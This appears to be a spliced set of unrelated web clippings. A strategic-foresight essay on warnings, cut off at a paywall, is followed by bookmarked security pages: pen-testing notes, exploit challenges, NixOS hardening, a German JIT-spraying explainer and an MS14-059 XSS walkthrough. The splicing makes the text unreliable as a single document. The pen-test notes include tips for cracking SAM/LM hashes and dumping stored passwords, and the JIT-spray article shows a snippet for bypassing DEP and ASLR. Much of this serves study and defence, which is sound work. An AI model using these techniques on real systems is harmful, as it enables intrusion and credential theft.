  * Why the Messenger Got Shot and how to Avoid this Fate
  * Communication of Strategic Foresight and Early Warning
  * Are your Strategic Foresight Scenarios Valid?
  * What is an Issue in terms of Strategic Foresight & Warning and Horizon Scanning?

Her gift of prophecy becoming a curse, Cassandra lives thrice all tragedies:
once when she foresees them, once when she fails to convince those who could
prevent disasters and finally once when she herself suffers the dire events
she foresees. She lives through Troy’s fall, is abducted and raped, taken as
captive and then murdered \(The Editors, “Cassandra“.  _Encyclopedia
Britannica_ , 14 Feb. 2019; Seth L. Schein, “The Cassandra Scene in Aeschylus’
‘Agamemnon’“, _Greece & Rome_, Vol. 29, No. 1, Apr., 1982, pp. 11-16\).

By contrast, the Pythia, the famous oracle priestess of Apollo at Delphi was
an institution that was so successful it lasted from ca. 800 BCE to AD 390/91
\(Julia Kindt, “Hidden women of history: the priestess Pythia at the Delphic
Oracle, who spoke truth to power“, _The Conversation_ , 22 janvier 2019\). Her
foresights were sought by kings and commoners on public and individual matters
\(Ibid.\). They were believed, became advice, and were richly rewarded
\(Ibid.\).

Thus, how can we emulate the Pythia’s destiny rather than Cassandra’s fate? We
need to find out what can make strategic foresight and early warning a
successful activity and not a curse, and apply our findings to our work.

To help us in this endeavour, we shall notably build upon Christopher Meyer’s
research on warning and conflict prevention \(“Beyond the Cassandra Syndrome:
Understanding the failure and success of warnings“, King’s College Lecture, 26
February 2014\). Indeed, Meyer, after having highlighted problems related to
warnings and prevention, identifies three key elements that make a warning
successful, from the point of view of prevention \(Ibid.\). He furthermore
suggests ways to bridge the “warning-response gap”.

To make sure strategic foresight and warning is successful, we shall first
highlight that proper strategic foresight and warning needs, intrinsically, to
be actionable. It must also walk a thin line between being useful to decision-
makers and interfering. We shall particularly emphasise the challenge of
impact assessment and suggest that proper scenario tree is a key tool for
offering policy alternatives to decision-makers, alongside involving policy-
makers as stakeholders. We shall, second, turn to hurdles linked to the
reception of warnings by policy-makers, as identified by Meyer, and to ways
forward. Finally, carefully comparing Cassandra and the Pythia, we shall
single out important keys explaining why warning can be either a curse or a
successful activity.

##  A real warning is actionable

### No, everything is not an early warning

Of course, first, to be able to deliver a successful warning, we need to make
sure we communicate a real warning, and not any opinion, brief or piece of
information.

As Grabo\* reminds us, indeed:

> _A warning concerns a situation, an objective, an opportunity, a danger, a
> threat or a risk, which are specific and defined \(the issue\).  
>  “Warning” deals with the future. It tries to anticipate and predict
> dynamics and events which do not yet exist.  
> An analysis explaining solely the past or present is NOT warning.  
> A warning is not made only of facts, data and information, but results from
> analysis and synthesis._
> Cynthia M. Grabo, Cynthia M., and Jan Goldman.  __Anticipating Surprise:
> Analysis for Strategic Warning__. Washington, D.C.: Center for Strategic
> Intelligence Research, Joint Military Intelligence College, 2002, pp. 4-16.
Meyer’s research similarly highlights that any report, brief, piece of
information, or even merely opinions, reinterpreted with hindsight does NOT
constitute a warning \(Ibid\). Actually, it is because these warnings did not
exist that we are faced with surprise, what we seek to avoid. Even broad
generic statements, not backed up by proper analysis, and made before the
events cannot qualify as warning. At best, they could be considered as “proto-
warnings”, but would need to be substantiated and transformed into proper
foresight and warning.

Proper warnings must be **actionable**. This means that they must be specific
enough to allow for proper action. They must be detailed enough and include an
evaluation of probability, as well as an impact assessment.

If we use a real life example, the beginning of a proper warning could look as
follows:

> As long as travel restrictions remain in place due to the COVID-19
> situation, it is **highly likely** that production and sales of fake test
> certificates will prevail. Given the widespread technological means
> available, in the form of high-quality printers and different software,
> fraudsters are able to produce high-quality counterfeit, forged or fake
> documents.
> Europol’s “Early Warning Notification: The illicit sales of false negative
> COVID-19 test certificates“, February 2021. My emphasis: in bold the
> likelihood assessment.
This warning, to be truly actionable and complete, would need to include an
impact assessment, done according to the decision-makers receiving the
warning.

### The problem with impact assessment

To assess an impact may appear as first glance as something relatively easy to
do. However, there are hidden traps in this apparently simple evaluation.

Latest articles

  * The Red Team Analysis Weekly – 27 May 2021
  * From Cassandra’s Curse to the Pythia’s Success
  * Strategic Foresight, Warning and Intelligence Products and Documents
  * The Chinese Fishing Fleet, Influence and Hunger Wars
  * Why the Messenger Got Shot and how to Avoid this Fate
  * Early Warning Systems & Indicators – Training for the ESFSI in Tunisia

If we think about it, what do we need to do to assess impacts? Actually, we
fundamentally need to judge and evaluate past and current policies and
decisions, as well as those policies for the future, which have already been
decided. This is what Meyer highlights when he stresses that, in an impact
assessment, there is an implicit judgement on current policies and what should
be done \(Ibid.\). We thus judge what policy-makers and decision makers are
doing and have been doing and appear to be ready to do. This may easily lead
to tension with our decision-makers, as they may not be ready for what they
may perceive as a fault-finding exercise.

This potentially dangerous implicit judgement may contribute to explain the
absence of impact assessment in Europol’s warning. The public quality of these
warnings and the multinational character of the agency probably only enhance
the difficulty of impact assessment. We may imagine that classified versions
of Europol’s warnings include such impacts assessments, if member-countries
gave the right signals to ensure they wanted them.

Furthermore, “simple” impact assessments, focusing on past and present
policies and decisions, also invite criticism from decision-makers. They could
complain it is easy to point out future problems while no other solution is
offered or suggested. Indeed, Meyer underlines that, often, warnings do not
make the case for the feasibility or existence of other course of actions, and
that it is a flaw from the point of view of prevention \(Ibid.\).

### Policy alternatives, scenario tree and decision-makers as stakeholders

#### Scenario tree and key decisions

If we want to consider alternative policies, then a solution – even the best
solution – is to develop properly a complete scenario tree and to use it for
our warnings. Indeed, a scenario tree considers critical uncertainties. This
implies that, most of the time, we also assess a range of possible actions
with key decision points. Thus, we look at other possible courses of actions,
which should help policy-makers and decision-makers in their tasks. With a
proper scenario tree, our strategic foresight and warning becomes truly fully
actionable for prevention.

However, there, we also enter further into the realm of policy-making. This
could be seen as contradicting, for example, the position of the intelligence
community according to which the realm of action should be completely
separated from all intelligence analysis, including strategic foresight and
early warnings analysis \(e.g. Fingar 2009, Meyer 2014\). On the contrary,
practitioners in the field of conflict prevention and in risk management are
not so adamant on this separation \(Meyer 2014,; ISO 31000:2018; for a summary
on risk management, Helene Lavoix, “When Risk Management …“, _The Red Team
Analysis Society_ , 2019\). They even see these two dimensions as linked, and,
for them, policy options or alternatives must be attached to warnings.

Fundamentally, as long as the decision regarding policy choices remain with
decision-makers, then there should not be any issue related to the blurring of
responsibilities.

#### Including decision-makers as stakeholders in the strategic foresight and
early warning process

Furthermore, in its final stages, the scenario tree related to our warnings
could also be developed with members of the policy-making community. By making
the latter stakeholders in the development of the final strategic foresight
and warning products we could create conditions favourable to the acceptance
of warnings.

To create such substantiated, precise yet encompassing warnings including the
evaluation of probability and impact assessment, preferably under the shape of
a scenario tree highlighting key possible decisions and impacts is difficult.
It also demands a lot of work. It is however feasible and is a condition
necessary but not sufficient to achieve successful warnings. As such, it
should be seen as an investment.

Thus, one of the key to success is to consider decision-makers and the very
object of strategic foresight and warning, i.e. decisions and actions, from
the very start of the process. It will smooth the last steps of that process,
the very delivery and communication of the warnings. Yet, we still have to
face many hurdles.

##  Receiving early warnings

### Over-warning or “warning fatigue”

This is a premium article. To access the remaining part of this article, you
must become one of our members or register for an online course.Log in if you
are a member or have registered for a course.  

* * *
##  Notes and Bibliography

Featured image : Art design: Jean-Dominique Lavoix-Carli – Photos by Zack
Jarosz from Pexels and from PxHere

### Notes

\* For some context on Grabo’s seminal work, see Hélène Lavoix, Communication
of Strategic Foresight and Early Warning, _The Red Team Analysis Society_ ,
2021.

\*\*The Dunning-Kruger effect: According to this bias, “the skills that
engender competence in a particular domain are often the very same skills
necessary to evaluate competence in that domain” \(Kruger and Dunning,
“Unskilled and Unaware of It…”, 1999\). In other words, the less one knows
about something, the best one thinks one is in this field.

* * *
### Bibliography

Bar-Joseph, Uri Bar-Joseph and Arie W. Kruglanski, “Intelligence Failure and
Need for Cognitive Closure: On the Psychology of the Yom Kippur Surprise“,
_Political Psychology_ , Vol. 24, No. 1 \(Mar., 2003\), pp. 75-99.

Betts, Richard K., _Surprise Attack: Lessons for Defense Planning_ , Brookings
Institution Press, Dec 1, 2010.

Betts, Richard K., “Surprise Despite Warning: Why Sudden Attacks Succeed“,
_Political Science Quarterly_ , Vol. 95, No. 4 \(Winter, 1980-1981\), pp.
551-572

Cancian, Mark, _~~Avoiding~~ Coping with Surprise in Great Power Conflicts_, A
Report of the CSIS International Security Program, February 2018\).

Davis, Jack, “Improving CIA Analytic Performance: Strategic Warning,”  _The
Sherman Kent Center for Intelligence Analysis Occasional Papers_ : Volume 1,
Number 1, accessed September 12, 2011.

Doyle, Andrea, “Cassandra – Feminine Corrective in Aeschylus’ _Agamemnon_”
_Acta Classica_ , vol. 51, 2008, pp. 57–75.

Fingar, Thomas, “”Myths, Fears, and Expectations,” Payne Distinguished Lecture
Series 2009 Reducing Uncertainty: Intelligence and National Security, Lecture
1, FSI Stanford, CISAC Lecture Series, March 11, 2009.

Fingar, Thomas, “Anticipating Opportunities: Using Intelligence to Shape the
Future,” Payne Distinguished Lecture Series 2009 Reducing Uncertainty:
Intelligence and National Security, Lecture 3, FSI Stanford, CISAC Lecture
Series, October 21, 2009.

Grabo, Cynthia M., and Jan Goldman.  _Anticipating Surprise: Analysis for
Strategic Warning_. \[Washington, D.C.?\]: Center for Strategic Intelligence
Research, Joint Military Intelligence College, 2002.

ISO 31000:2018 Guidelines \(revised from the 2009 version\), IEC 31010:2009,
Risk assessment techniques, and ISO Guide 73:2009 Vocabulary.

Kindt, Julia, “Hidden women of history: the priestess Pythia at the Delphic
Oracle, who spoke truth to power“, _The Conversation_ , 22 janvier 2019

Kruger, Justin, and David Dunning, “Unskilled and Unaware of It: How
Difficulties in Recognizing One’s Own Incompetence Lead to Inflated Self-
Assessments“,  _Journal of Personality and Social Psychology_ , vol 77, no 6,
p 1121-1134, American Psychological Association \(1999\).

Lavoix, Helene, Why the Messenger Got Shot and how to Avoid this Fate, _The
Red Team Analysis Society_ , April 2021

Lavoix, Helene, “Communication of Strategic Foresight and Early Warning“,
_The Red Team Analysis Society_ , 3 March 2021.

Lavoix, Helene, “When Risk Management Meets Strategic Foresight and Warning“,
_The Red Team Analysis Society_ , 2019.

Lavoix, Helene, “Revisiting Timeliness for Strategic Foresight and Warning and
Risk Management“, _The Red Team Analysis Society_ , 2018

Lavoix, Helene, “Ensuring a Closer Fit: Insights on making foresight relevant
to policymaking”,  _Development_ \(2014\) 56\(4\);

Lavoix, Helene, “What makes foresight actionable: the cases of Singapore and
Finland”, confidential commissioned report, US government, November 2010.

Meyer, Christoph O., Beyond the Cassandra Syndrome: Understanding the failure
and success of warnings, King’s College Lecture – 26 February 2014

Schein, Seth L. Schein, “The Cassandra Scene in Aeschylus’ ‘Agamemnon’“,
_Greece & Rome_, Vol. 29, No. 1, Apr., 1982, pp. 11-16

Schelling, Thomas, foreword to Roberta Wohlstetter, _Pearl Harbor: Warning and
Decisions_\(Stanford, CA: Stanford University Press, 1962\).

* * *

# Episode100 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:41:14 PM_  
---|---  
**Updated:**| _8/5/2009 12:41:22 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Tutorials_  
  

# Tech Segment: Pen Testing: The Unanswered Questions

I'd like to take some time and cover a bit about the philosophy surrounding
penetration testing and vulnerability assessments, and answer a few questions
we've received in the past about pen testing.

## Why Have a Penetration Test?

  * Understand threats for better defense
  * Determine risk to make informed IT decisions
  * Test incident handling procedures, intrusion detection systems, and other security
  * TSA is a good example

## Phases Of a Pen Test

### Recon

  * Finding your targets, and the "right" targets is very important. If I am external, I like to go slow and low. This means if there is only one IP address, take a week. Attackers have all the time in the world, you should at least have a week to slip past any IDS/IPS.

  * Nmap is your friend\! Adjust the timings accordingly, refer to last week for some times on scanning internal networks

  * I have found some interesting ways to find targets:
    * Probe for SNMP Sys.Descr mib using community string public, SNscan is a great tool:

<img src='img/Temp2_2733.png' width='709' height='538' alt='Image:Snscan.png'
/>

  *     * Compromise a Linux host and look in ~/.ssh/known\_hosts
    * Compromise a Windows host and look in the RDP history
    * ntbscan is a great tool for Windows enumeration
    * Cain & Abel has a great ARP scanner
    * **host -l <domain>** sometimes works\! Try it on the internal DNS servers too

### Port Scanning & Service Identification

  * Nmap works great for this \(**nmap -T4 -n -sV -oA myscans -iL <file with arp scanning results>**\)
  * Nessus does a great job too, always export the results to NBE format and grep away
  * The mDNS.py program from GNUCITIZEN works excellent for Bonjour service identification, this is good because you can enumerate all devices in one shot with multicast

### Exploitation

  * Most of us know how to execute an exploit, so I will leave that topic alone
  * Once you compromise a Windows system, grab the SAM database and crack the LM hashes. Sounds lame and real 1990's, but I am surprised as to how effective this method is even today
  * Dump stored passwords from all other applications
  * Poke around on the file system, be smart, here's a tip, look for files or folders named "backup"

  

# Billy-Ellis/Exploit-Challenges

**Created:**| _5/31/2017 6:09:08 PM_  
---|---  
**Updated:**| _5/31/2017 6:09:08 PM_  
**Author:**| __  
**Tags:**| _Tutorials_  
  

  

# Exploit-Challenges

Here are a collection of vulnerable ARM binaries designed for beginner
vulnerability researchers & exploit developers to play around with and test
their skills\!

These binaries are all built as ARMv7 Mach-O executables \(unless specified
otherwise\) so it is recommended that you use a 32bit jailbroken iOS device
with ` radare2 ` or another debugging utility installed to test them.

## Help & Guidance

Write-ups/explanations on some of the binaries can be found on my website or
on either one of my YouTube channels here and here.

If you have any questions or requests for future exploitation challenges,
tweet me @bellis1000

  

# Hardened NixOS - Nix Wiki

**Created:**| _6/24/2014 10:25:03 AM_  
---|---  
**Updated:**| _6/24/2014 10:25:03 AM_  
**Author:**| __  
**Tags:**| _Linux distributed config-mgmt_  
  

# Hardened NixOS

This page describes the on-going work to provide a more secure version of
NixOS, similar in goals to the Hardened Gentoo project \(wiki page 1, wiki
page 2\), but applied to the base NixOS system instead.

## \[edit\] Developed features

Currently, no feature is completely developed and ready to be used in
production.

If you are interested in developing and/or contributing, please continue
reading.

## \[edit\] Features in development

### \[edit\] grsecurity/PaX

grsecurity is a Linux kernel patch which adds a large number of optional
security enhancements to both the kernel itself and userspace programs. Its
main focus is to prevent the successful execution of known and unknown
exploits. It also has its own optional Role-Based Access Control mechanism
\(RBAC\), which is similar in goals to AppArmor and SELinux.

You can read a full, and quite extensive, list of grsecurity's features on the
Configuration Options chapter of the Grsecurity Wikibook.

Note that this new feature of NixOS is still a work in progress and there are
known unfixed issues \(detailed below\). Please do not use it unless you
expect breakage, and wish to contribute with bug reports or wish to develop it
further.

#### \[edit\] How to use grsecurity

As of November 2013, grsecurity has 2 available versions:

  * a stable patch for kernel 3.2 
  * a test patch for kernel 3.11 

The following excerpt from a NixOS `configuration.nix` file shows how to
enable the stable grsecurity patch:

[code]

       nixpkgs.config = {
         grsecurity = true;
       
         packageOverrides = pkgs: {
           linuxPackages = pkgs.linuxPackages_3_2_grsecurity;
       
           stdenv = pkgs.stdenv // {
             platform = pkgs.stdenv.platform // {
               kernelExtraConfig = ''
                 XEN n
                 HIBERNATION n
                 DEVKMEM? n
                 GRKERNSEC y
                 GRKERNSEC_CONFIG_AUTO y
                 GRKERNSEC_CONFIG_DESKTOP y
                 GRKERNSEC_CONFIG_VIRT_HOST y
                 GRKERNSEC_CONFIG_VIRT_EPT y
                 GRKERNSEC_CONFIG_VIRT_KVM y
                 GRKERNSEC_CONFIG_PRIORITY_SECURITY y
                 GRKERNSEC_PROC_USER y
                 GRKERNSEC_PROC_GID 0
                 GRKERNSEC_CHROOT_CHMOD n
                 GRKERNSEC_SYSCTL n
               '';
             };
           };
         };
       };
    
[/code]

#### \[edit\] Configuration Tips

In order to properly configure your kernel, please read grsecurity's
Configuration Options chapter.

  * There are 2 main ways of configuring `grsec`: 
    * `GRKERNSEC_CONFIG_AUTO y`, which tries to set up some reasonable defaults 
    * `GRKERNSEC_CONFIG_CUSTOM y`, which disables everything, forcing you to manually enable all necessary features 

##### \[edit\] Using Auto Configuration

Unless you wish to enable only a few features, or you are very persistent and
wish to configure all options one-by-one, `GRKERNSEC_CONFIG_AUTO y` is
probably better. When using the Auto option, you must also specify all of the
following options:

  * Select `GRKERNSEC_CONFIG_SERVER y` or `GRKERNSEC_CONFIG_DESKTOP y` to specify whether your system is a server or desktop. 
  * Select `GRKERNSEC_CONFIG_VIRT_NONE y`, `GRKERNSEC_CONFIG_VIRT_GUEST y`, or `GRKERNSEC_CONFIG_VIRT_HOST y` to specify whether your system doesn't use virtualization, is a guest, or is a virtualization host, respectively. 

> If you use virtualization, select `GRKERNSEC_CONFIG_VIRT_EPT y` or
> `GRKERNSEC_CONFIG_VIRT_SOFT y` to specify whether your CPU has hardware
> virtualization extensions, respectively. If you use virtualization, select
> `GRKERNSEC_CONFIG_VIRT_XEN y`, `GRKERNSEC_CONFIG_VIRT_VMWARE y`,
> `GRKERNSEC_CONFIG_VIRT_KVM y`, or `GRKERNSEC_CONFIG_VIRT_VIRTUALBOX y` to
> specify the virtualization software you use.
  * Select `GRKERNSEC_CONFIG_PRIORITY_PERF y` or `GRKERNSEC_CONFIG_PRIORITY_SECURITY y` to specify whether performance or security is the highest priority, respectively. 

##### \[edit\] Other Configuration Notes

Disable the XEN, HIBERNATION, and DEVKMEM features to allow grsecurity to use
additional, and important, security enhancements, so please explicitly disable
them if you don't use them.

**You must** use `GRKERNSEC_CHROOT_CHMOD n` in your kernel config if you wish
to use Nix to build software on your system \(most people do\). This line is
not needed if instead you build software using NixOps from another machine,
and users of the target system don't need to install software using Nix.

**You must** use either `GRKERNSEC_SYSCTL n` or
`boot.kernel.sysctl."kernel.grsecurity.grsec_lock" = 1;` in your
`configuration.nix` file, to prevent an attacker from easily disabling
grsecurity protections.

# Jon Hart's Blog: Racket version 1.0.2 released, now in Metasploit

**Created:**| _11/16/2009 10:14:59 AM_  
---|---  
**Updated:**| _11/16/2009 10:15:25 AM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

### Racket version 1.0.2 released, now in Metasploit

Many months back I got word that Metasploit would be including Racket to
handle much of its reading and writing of raw packets. Racket was selected for
its speed and ease of use and I'm glad to see my work pay off. To celebrate
this, I'm releasing 1.0.2, which includes:

  * VRRP
  * SCTP
  * EGP
  * General cleanup so as to not trash namespaces
  * Various bug fixes
  * Numerous documentation and examples cleaned up

Give Racket a whirl, I assure you you'll find it useful. I openly encourage
testing, bug reports, suggestions or solicitations for additional
functionality.

# Die Rückkehr des Sprayers | heise Security
**Created:**| _1/19/2011 1:21:16 PM_  
---|---  
**Updated:**| _1/19/2011 1:21:25 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Die Rückkehr des Sprayers

## JIT-Spraying: Exploits trotz DEP und ASLR

### Jürgen Schmidt \- 14.01.2011

Das Traumpaar aus Data Execution Prevention \(DEP\) und Adress Space Layout
Randomisation \(ASLR\) galt lange Zeit als kaum überwindbar. Doch dann kam
JIT-Spraying und wendete das Blatt wieder zu Gunsten der Angreifer.

Die Kombination der mit Windows Vista beziehungsweise XP SP2 eingeführten
Schutztechniken setzte die Entwickler von Exploits eine Zeit lang tatsächlich
Schach Matt. Selbst wenn sie eine Sicherheitslücke in einem Programm fanden,
über die sie den Programmfluss verbiegen konnten, gelang es oft nicht, die
Kontrolle über das System zu übernehmen. Sprangen sie wie in der "guten alten
Zeit" den auf dem Stack oder Heap eingeschleusten Code an, setzte es wegen der
Data Execution Prevention \(DEP\) einen Interrupt und das System beendete den
gerade mühsam gepwnten Prozess, bevor schlimmeres passieren konnte.

Neuere Exploit-Techniken wie Return-to-Libc oder dessen Verfeinerung Return
Oriented Programming kamen ebenfalls nicht zum Zug. Return-to-Libc beruht
darauf, bereits vorhandene Systemfunktionen, etwa zum Verwalten von Speicher
mit den passenden Parametern zu versorgen und dann damit zu verwenden. Wegen
der quasi zufälligen Verwürfelung der Speicheradressen via Adress Space Layout
Randomisation \(ASLR\) wusste man jedoch nicht, an welcher Adresse der
benötigte Code im konkreten Fall zu erreichen wäre. Das Gegenmittel Heap
Spraying scheiterte wiederum am DEP – ein Teufelskreis.. Erst mit dem so
genannten JIT-Spraying wendete sich das Blatt und die Angreifer sind plötzlich
wieder im Spiel.

JIT-Spraying macht sich zu Nutze, dass Just-in-Time \(JIT\) Compiler aus
Script-Code wie ActionScript zur Laufzeit ausführbaren Code erzeugen. Damit
kann man also mit einem Flash-Filmchen schon mal ausführbaren Code erstellen,
gegen den DEP nichts einzuwenden hat. Allerdings erlaubt ActionScript längst
nicht alles, was man für einen vollwertigen Exploit braucht. So würde der
Exploit-Autor etwa gerne via`VirtualProtect()` den Speicherschutz DEP für ein
paar Seiten abschalten, auf denen der gewünschte Code zur kompletten Übernahme
des Systems bereits liegt. Derartige Low-Level-Funktionen sieht die zur
Steuerung von Multimedia-Inhalten vorgesehene Skript-Sprache jedoch nicht vor.

Um das trotzdem zu erreichen, hat Dion Blazakis im Frühjahr 2010 einen
genialen Trick aus dem Hut gezaubert. Er beruht darauf, dass es bei einer
Folge von Bytes sehr wohl darauf ankommt, an welcher Stelle genau man beginnt,
sie als Code zu interpretieren. Diese XOR-Befehle in ActionScript

`var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^ …);`

übersetzt der JIT-Compiler in folgende Maschinenbefehle:

`0x1A1A0100: 359090903C `XOR EAX, 3C909090`  
0x1A1A0105: 359090903C `XOR EAX, 3C909090`  
0x1A1A010A: 359090903C `XOR EAX, 3C909090

Springt man jedoch knapp daneben, auf eine der Speicheradressen mit dem Wert
`0x90`sieht die CPU das Folgende:

`0x1A1A0101: 90 `NOP`  
0x1A1A0102: 90`` `` `NOP`  
0x1A1A0103: 90`` `NOP`  
0x1A1A0104: 3C35 `CMP AL, 35`  
0x1A1A0106: 90`` `` `NOP`  
...`

Leser der Serie Tatort Internet erkennen das sofort als Tu-Nix-Rutsche \(NOP-
Slide\) – einen wichtigen Bestandteil der Heap-Spraying-Technik. Im
Wesentlichen passiert hier gar nichts, bis die CPU dann irgendwann beim
eigentlichen Shellcode an kommt. Da auch `0x3C` zur Rutsche führt, stehen die
Chancen bei einem Sprung ins Ungewisse 5:1 für die Rutsche und gegen die XOR-
Interpretation.

Und der Clou daran ist, dass sich durch geschickte Wahl der XOR-Werte auch
anderer Code zusammenbauen lässt. Etwa solcher, der die Adresse von
`VirtualProtect()`im virtuellen Speicher ermittelt, den Speicherschutz
deaktiviert und dann den zweiten Teil des Shellcodes anspringt. Mittlerweile
gibt es dafür sogar Tutorials wie Writing JIT-Spray Shellcode for fun and
profit.

Sprüht der Angreifer also via ActionScript ausreichend XOR-Befehle mit einer
Tu-Nix-Rutsche und dem Shellcode in den Speicher, kann er anschließend einen
Sprung ins Blaue wagen – etwa, indem er einen Fehler im Flash-Plugin oder dem
Browser auslöst. Alternativ hat Blazakis auch gleich noch einen Weg
aufgezeigt, wie man sich trotz ASLR in ActionScript die Adresse des Shellcodes
besorgen kann. Da der angesprungene JIT-Code als ausführbar markiert ist,
führt die CPU die Befehle klaglos aus – der Exploit ist gelungen.

Das alles heißt keineswegs, dass ASLR und DEP nutzlos wären. Sie bieten in
vielen Fällen weiterhin guten Schutz vor dem Ausnutzen eventueller
Sicherheitslücken. Es ist also durchaus eine gute Idee, sie wie im Artikel
Schadensbegrenzer beschrieben, auch nachträglich via EMET zu aktivieren. Doch
nachdem für eine Zeit lang mit den bei Windows Vista eingeführten
Schutzmechanismen die Verteidiger die Oberhand hatten, ist mit JIT-Spraying
wieder Bewegung in das Geschehen gekommen und das Hase-und-Igel-Rennen ist
jetzt wieder in vollem Gange. Erste Ansätze, wie man JIT-Spraying erkennen und
verhindern kann, wurden im Herbst 2010 veröffentlicht.

_Literatur:_

Dion Blazakis, Interpreter Exploitation: Pointer Inference and JIT Spraying
\(PDF\)

# Exploiting MS14-059 because sometimes XSS is fun, sometimes... | BeyondTrust
**Created:**| _10/21/2014 1:24:26 PM_  
---|---  
**Updated:**| _10/21/2014 1:24:26 PM_  
**Author:**| __  
**Tags:**| _Microsoft vulnerability xss_  
  

# Exploiting MS14-059 because sometimes XSS is fun, sometimes…

_Posted October 17, 2014_ BeyondTrust Research Team

This October, Microsoft has provided a security update for System.Web.Mvc.dll
which addresses a ‘Security Feature Bypass’. The vulnerability itself is in
ASP.NET MVC technology and given its wide adoption we thought we would take a
closer look.

Referring to the bulletin we can glean a few useful pieces of information:

**“A cross-site scripting \(XSS\) vulnerability exists in ASP.NET MVC that
could allow an attacker to inject a client-side script into the user’s web
browser** … The vulnerability is caused when ASP.NET MVC fails to properly
encode input.”

We looked at System.Web.Mvc.dll Version 5.1.20129.0 \(unpatched\) vs.
System.Web.Mvc.dll Version 5.1.20821.0 \(patched\)

After decompiling each DLL with dotPeek
\(https://www.jetbrains.com/decompiler/\) and diffing the output with WinMerge
\(http://winmerge.org/\) we can see there are only a few files that have
nontrivial changes.

<img src='img/Temp2_2991.jpg' alt='Figure 1 - Changed Classes' />

Figure 1 – Changed Classes

After reviewing the few areas that actually had meaningful changes, it
appeared that XSS could have been patched in a few places, but
DisplayTextExtensions.cs contained the fix most interesting to us. The pre-
patched code can be seen below.

<img src='img/Temp2_2995.jpg' alt='Figured 2 - DisplayTextExtensions.cs
(System.Web.MVC.dll 5.1.20129.0)' />

Figured 2 – DisplayTextExtensions.cs \(System.Web.MVC.dll 5.1.20129.0\)

We can now compare this code with the new logic which utilizes the new
HtmlEncode property of the modelMetadata object to determine whether or not to
HtmlEncode the string.

<img src='img/Temp2_2990.jpg' alt='Figure 3 - DisplayTextExtensions.cs
(System.Web.MVC.dll 5.1.20821.0)' />

Figure 3 – DisplayTextExtensions.cs \(System.Web.MVC.dll 5.1.20821.0\)

The metadata.HtmlEncode bool which the conditional is based upon can be found
in ModelMetadata.cs.

<img src='img/Temp2_2989.jpg' alt='Figure 4 - ModelMetadata.cs
(System.Web.MVC.dll 5.1.20821.0)' />

Figure 4 – ModelMetadata.cs \(System.Web.MVC.dll 5.1.20821.0\)

We can see here that this added boolean defaults to true.

So to restate our discoveries, we think that the DisplayTextFor\(\) function
will call the DisplayTextHelper\(\) function which in turn will allow for XSS
due to its failure to encode HTML characters. The easiest thing to do here is
mock up some sample code to see what happens. Obviously it was made quickly
for brevity of this post so some parts will change in a real-world
application. Most of that should be obvious but we made a couple extend notes
before so there isn’t any confusion.

<img src='img/Temp2_2992.jpg' alt='mvc5' />

We first create a model ‘User’ with a property ‘name’.

<img src='img/Temp2_2994.jpg' alt='mvc6' />

We then construct our Controller which contains a classical XSS vector in this
Name property. Obviously in a real-world web application myUser.Name would
have its data set from some user controlled area of web code like a form or
related.

<img src='img/Temp2_2988.jpg' alt='mvc7' />

The bug is as simple as now calling displayTextFor\(\) on our Name property
which triggers the underlying XSS. In a real-world scenario you would want to
take into account ASP.NET and Internet Explorer’s XSS filters. Those are
always useful mitigation but never 100% in filtering out this type of data
before it reaches a vulnerable function such as was fixed in this patch.

<img src='img/Temp2_2993.jpg' alt='mvc8' />

It is important for web developers to review their servers to both make sure
that this patch has been applied and that their MVC related projects have been
updated to patched versions. For customers you can use the following
vulnerability audits from Retina to determine if a server has been patched or
not:

\[MS14-059\] – Vulnerability in ASP.NET MVC Could Allow Security Feature
Bypass \(2990942\)

35434 – Microsoft ASP.NET MVC Security Feature Bypass \(2990942\) – MVC 2.0  
35435 – Microsoft ASP.NET MVC Security Feature Bypass \(2990942\) – MVC 3.0  
35436 – Microsoft ASP.NET MVC Security Feature Bypass \(2990942\) – MVC 4.0  
35437 – Microsoft ASP.NET MVC Security Feature Bypass \(2990942\) – MVC 5.0  
35439 – Microsoft ASP.NET MVC Security Feature Bypass \(2990942\) – MVC 5.1

Tags:

     MS14-059

# Windows 7 vulnerable to 8 out of 10 viruses | Chester Wisniewski's Blog
**Created:**| _11/4/2009 9:38:06 PM_  
---|---  
**Updated:**| _11/4/2009 9:38:14 PM_  
**Author:**| __  
**Tags:**| _windows security Malware-analysis_  
  

## Windows 7 vulnerable to 8 out of 10 viruses

Now that we in the northern hemisphere have had some time to digest the
Windows 7 hype and settle in for the coming winter, we thought we would get
some more hard data regarding Windows 7 security.

On October 22nd, we settled in at SophosLabs and loaded a full release copy of
Windows 7 on a clean machine. We configured it to follow the system defaults
for User Account Control \(UAC\) and did not load any anti-virus software.

We grabbed the next 10 unique samples that arrived in the SophosLabs feed to
see how well the newer, more secure version of Windows and UAC held up.
Unfortunately, despite Microsoft's claims, Windows 7 disappointed just like
earlier versions of Windows. The good news is that, of the freshest 10 samples
that arrived, 2 would not operate correctly under Windows 7.

<img src='img/Temp2_9560.png' alt='Table of malware samples tested against
Windows 7' />

User Account Control did block one sample; however, its failure to block
anything else just reinforces my warningprior to the Windows 7 launch that
UAC's default configuration is not effective at protecting a PC from modern
malware.

Lesson learned? You still need to run anti-virus on Windows 7. Microsoft, in
the Microsoft Security Intelligence Report released yesterday, stated that
"The infection rate of Windows Vista SP1 was 61.9 percent less than that of
Windows XP SP3."

But let's not get complacent. Microsoft seems to be saying that Vista is the
least ugly baby in its family. You can be sure the next report will highlight
its even less ugly younger sibling, Windows 7.

Why do I say this? As of October 31st www.netmarketshare.com states that
Windows Vista has a 19% market share against Windows XP's 70.5% and Windows
7's 2%. Approximately 1 in 5 Windows users is using either Vista or Windows 7.
These users often have newer computers, automatic patching, and firewalls and
anti-virus software in place.

With millions of hosts still infected with Conficker, ZBot and Bredo, it is
obvious a lot of unprotected machines are still out there, and it is no
surprise that most of those are XP.

As the chart above shows, Windows 7 users need not feel left out. They can
still participate in the ZBot botnet with a side of fake anti-virus. Windows 7
is no cure for the virus blues, so be sure to bring your protection when you
boot up.

# SQLite3 support and inspection of free pages | Cerbero Blog
**Created:**| _9/26/2013 10:07:52 AM_  
---|---  
**Updated:**| _9/26/2013 10:07:52 AM_  
**Author:**| __  
**Tags:**| _dbms sql_  
  

# **S** QLite3 support and inspection of free pages****

The upcoming 1**.** 0**.** 0 version of the Profiler introduces support for
SQLite3 databases**.**

